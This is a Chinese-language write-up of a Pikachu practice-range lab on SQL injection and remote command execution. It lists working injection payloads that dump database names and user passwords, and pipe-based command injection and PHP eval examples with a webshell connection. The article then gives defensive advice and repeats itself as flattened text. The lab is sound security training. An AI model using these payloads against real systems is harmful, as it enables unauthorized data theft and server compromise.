Pikachu靶场SQL-Inject和RCE学习分享
字数 1210 2025-08-24 20:49:31

SQL注入与RCE漏洞全面解析

1. SQL注入概述

SQL注入是OWASP Top 10排名第一的漏洞类型,危害极大,可能导致数据库泄露、数据删除甚至服务器沦陷。

形成原因

  • 前端传入后台的数据未经严格过滤
  • 传入数据被直接拼接到SQL语句中执行

防御策略

  1. 对传入SQL语句的变量进行危险字符过滤
  2. 使用参数化查询(Parameterized Query/Statement)
  3. 谨慎使用ORM框架的"拼接"方式

2. SQL注入类型及利用方法

2.1 数字型注入(POST)

  • 判断注入点:id=1'报错
  • 判断字段数:id=1 order by 2成功,order by 3失败
  • 获取信息:
    id=1 union select user(),database()
    id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'
    id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
    id=1 union select group_concat(username),group_concat(password) from users
    

2.2 字符型注入(GET)

  • 判断注入点:name='报错
  • 闭合方式:' or 1=1-- q
  • 获取信息方式与数字型类似,需注意闭合单引号

2.3 搜索型注入

  • 判断字段数:' order by 3成功,order by 4失败
  • 有三个回显点,其余利用方式与字符型类似

2.4 XX型注入

  • 闭合方式:')-- q
  • 其余利用方式与字符型类似

2.5 Insert/Update注入

  • 使用报错注入:
    username=' or updatexml(1,concat(0x7e,(select user())),1),1) -- q
    username=' or updatexml(1,concat(0x7e,(select database())),1),1) -- q
    
  • 分段显示技巧:
    username=' or updatexml(1,concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),22)),1)or'
    

2.6 Delete注入

  • 无需闭合单引号:
    /vul/sqli/sqli_del.php?id=59%20or%20updatexml(1,concat(0x7e,(select%20database())),1)
    

2.7 HTTP Header注入

  • 注入点在User-Agent或Accept头:
    ' or updatexml(1,concat(0x7e,(select database())),1)or'
    

2.8 布尔盲注

  • 判断数据库长度:
    lucy' and length(database())>6-- q
    
  • 逐字符判断:
    lucy' and (substr(database(),1,1))='p'-- q
    

2.9 时间盲注

  • 使用sleep函数判断:
    kobe' and sleep(if((length(database())=7),0,3))-- q
    kobe' and if(substr(database(),1,1)='p',0,sleep(3))-- q
    

2.10 宽字节注入

  • 利用GBK编码特性:
    kobe%df' union select group_concat(username),group_concat(password) from users -- q
    

3. RCE漏洞概述

RCE(远程命令/代码执行)漏洞允许攻击者直接向服务器注入操作系统命令或代码,从而控制系统。

3.1 远程系统命令执行

  • 常见于需要提供远程命令操作的接口(如路由器、防火墙管理界面)
  • 自动化运维平台常存在此类漏洞

3.2 远程代码执行

  • 用户输入被作为代码的一部分执行
  • 可能通过代码执行函数或不安全的反序列化实现

4. RCE漏洞利用实例

4.1 exec ping

  • 使用管道符执行命令:
    x.x.x.x | whoami
    x.x.x.x | ls
    
  • 后台代码类似:shell_exec('ping -C 4'.$ip)

4.2 exec eval

  • 直接执行PHP代码:
    phpinfo();
    
  • 利用蚁剑连接:
    • 修改请求头的submit参数
    • 通过POST参数txt执行代码

5. 防御建议

SQL注入防御

  1. 使用预编译语句(Prepared Statements)
  2. 对输入进行严格过滤和转义
  3. 最小权限原则,数据库账户仅授予必要权限
  4. 使用Web应用防火墙(WAF)

RCE防御

  1. 避免直接执行用户输入
  2. 使用白名单限制可执行命令
  3. 禁用危险函数(如eval、system等)
  4. 对用户输入进行严格过滤和验证

6. 总结

SQL注入和RCE都是危害极大的漏洞类型,开发人员应充分了解其原理和利用方式,在开发过程中采取适当的防御措施。安全测试人员应掌握各种注入技术的检测和利用方法,以便全面评估系统安全性。

SQL注入与RCE漏洞全面解析 1. SQL注入概述 SQL注入是OWASP Top 10排名第一的漏洞类型,危害极大,可能导致数据库泄露、数据删除甚至服务器沦陷。 形成原因 前端传入后台的数据未经严格过滤 传入数据被直接拼接到SQL语句中执行 防御策略 对传入SQL语句的变量进行危险字符过滤 使用参数化查询(Parameterized Query/Statement) 谨慎使用ORM框架的"拼接"方式 2. SQL注入类型及利用方法 2.1 数字型注入(POST) 判断注入点: id=1' 报错 判断字段数: id=1 order by 2 成功, order by 3 失败 获取信息: 2.2 字符型注入(GET) 判断注入点: name=' 报错 闭合方式: ' or 1=1-- q 获取信息方式与数字型类似,需注意闭合单引号 2.3 搜索型注入 判断字段数: ' order by 3 成功, order by 4 失败 有三个回显点,其余利用方式与字符型类似 2.4 XX型注入 闭合方式: ')-- q 其余利用方式与字符型类似 2.5 Insert/Update注入 使用报错注入: 分段显示技巧: 2.6 Delete注入 无需闭合单引号: 2.7 HTTP Header注入 注入点在User-Agent或Accept头: 2.8 布尔盲注 判断数据库长度: 逐字符判断: 2.9 时间盲注 使用sleep函数判断: 2.10 宽字节注入 利用GBK编码特性: 3. RCE漏洞概述 RCE(远程命令/代码执行)漏洞允许攻击者直接向服务器注入操作系统命令或代码,从而控制系统。 3.1 远程系统命令执行 常见于需要提供远程命令操作的接口(如路由器、防火墙管理界面) 自动化运维平台常存在此类漏洞 3.2 远程代码执行 用户输入被作为代码的一部分执行 可能通过代码执行函数或不安全的反序列化实现 4. RCE漏洞利用实例 4.1 exec ping 使用管道符执行命令: 后台代码类似: shell_exec('ping -C 4'.$ip) 4.2 exec eval 直接执行PHP代码: 利用蚁剑连接: 修改请求头的submit参数 通过POST参数 txt 执行代码 5. 防御建议 SQL注入防御 使用预编译语句(Prepared Statements) 对输入进行严格过滤和转义 最小权限原则,数据库账户仅授予必要权限 使用Web应用防火墙(WAF) RCE防御 避免直接执行用户输入 使用白名单限制可执行命令 禁用危险函数(如eval、system等) 对用户输入进行严格过滤和验证 6. 总结 SQL注入和RCE都是危害极大的漏洞类型,开发人员应充分了解其原理和利用方式,在开发过程中采取适当的防御措施。安全测试人员应掌握各种注入技术的检测和利用方法,以便全面评估系统安全性。